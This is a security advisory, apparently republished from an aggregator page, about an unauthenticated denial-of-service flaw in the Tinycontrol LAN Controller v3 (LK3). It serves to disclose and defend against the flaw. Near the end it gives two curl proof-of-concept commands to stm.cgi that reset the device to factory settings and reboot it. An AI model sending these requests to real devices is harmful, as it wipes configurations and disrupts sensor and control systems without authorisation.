Gjoko KrsticZSL-2023-5785Tinycontrol LAN Controller v3 (LK3) Remote Denial Of Service Exploit
AI Score
Confidence
High
Title: Tinycontrol LAN Controller v3 (LK3) Remote Denial Of Service Exploit
Advisory ID: ZSL-2023-5785
Type: Local/Remote
Impact: Security Bypass, DoS
Risk: (4/5)
Release Date: 31.08.2023
Summary
Lan Controller is a very universal device that allows you to connect many different sensors and remotely view their readings and remotely control various types of outputs. It is also possible to combine both functions into an automatic if -> this with a calendar when -> then. The device provides a user interface in the form of a web page. The website presents readings of various types of sensors: temperature, humidity, pressure, voltage, current. It also allows you to configure the device, incl. event setting and controlling up to 10 outputs. Thanks to the support of many protocols, it is possible to operate from smartphones, collect and observ the results on the server, as well as cooperation with other I/O systems based on TCP/IP and Modbus.
Description
The controller suffers from an unauthenticated remote denial of service vulnerability. An attacker can issue direct requests to the stm.cgi page to reboot and also reset factory settings on the device.
Vendor
Tinycontrol - <https://www.tinycontrol.pl>
Affected Version
<=1.58a, HW 3.8
Tested On
lwIP
Vendor Status
[18.08.2023] Vulnerability discovered.
[19.08.2023] Vendor contacted.
[30.08.2023] No response from the vendor.
[31.08.2023] Public security advisory released.
PoC
Credits
Vulnerability discovered by Gjoko Krstic - <[email protected]>
References
[1] <https://packetstormsecurity.com/files/174455/>
[2] <https://cxsecurity.com/issue/WLB-2023090012>
[3] <https://www.exploit-db.com/exploits/51730>
[4] <https://exchange.xforce.ibmcloud.com/vulnerabilities/275810>
Changelog
[31.08.2023] - Initial release
[22.09.2023] - Added reference [1] and [2]
[12.10.2023] - Added reference [3]
[14.02.2024] - Added reference [4]
Contact
Zero Science Lab
Web: <https://www.zeroscience.mk>
e-mail: [email protected]
<html><body><p>Tinycontrol LAN Controller v3 (LK3) Remote Denial Of Service Exploit
Vendor: Tinycontrol
Product web page: https://www.tinycontrol.pl
Affected version: <=1.58a, HW 3.8
Summary: Lan Controller is a very universal
device that allows you to connect many different
sensors and remotely view their readings and
remotely control various types of outputs.
It is also possible to combine both functions
into an automatic if -> this with a calendar
when -> then. The device provides a user interface
in the form of a web page. The website presents
readings of various types of sensors: temperature,
humidity, pressure, voltage, current. It also
allows you to configure the device, incl. event
setting and controlling up to 10 outputs. Thanks
to the support of many protocols, it is possible
to operate from smartphones, collect and observ
the results on the server, as well as cooperation
with other I/O systems based on TCP/IP and Modbus.
Desc: The controller suffers from an unauthenticated
remote denial of service vulnerability. An attacker
can issue direct requests to the stm.cgi page to
reboot and also reset factory settings on the device.
Tested on: lwIP
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2023-5785
Advisory ID: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5785.php
18.08.2023
--
$ curl http://192.168.1.1:8082/stm.cgi?eeprom_reset=1 # restore default settings
$ curl http://192.168.1.1:8082/stm.cgi?lk3restart=1 # reboot controller
</p></body></html>AI Score
Confidence
High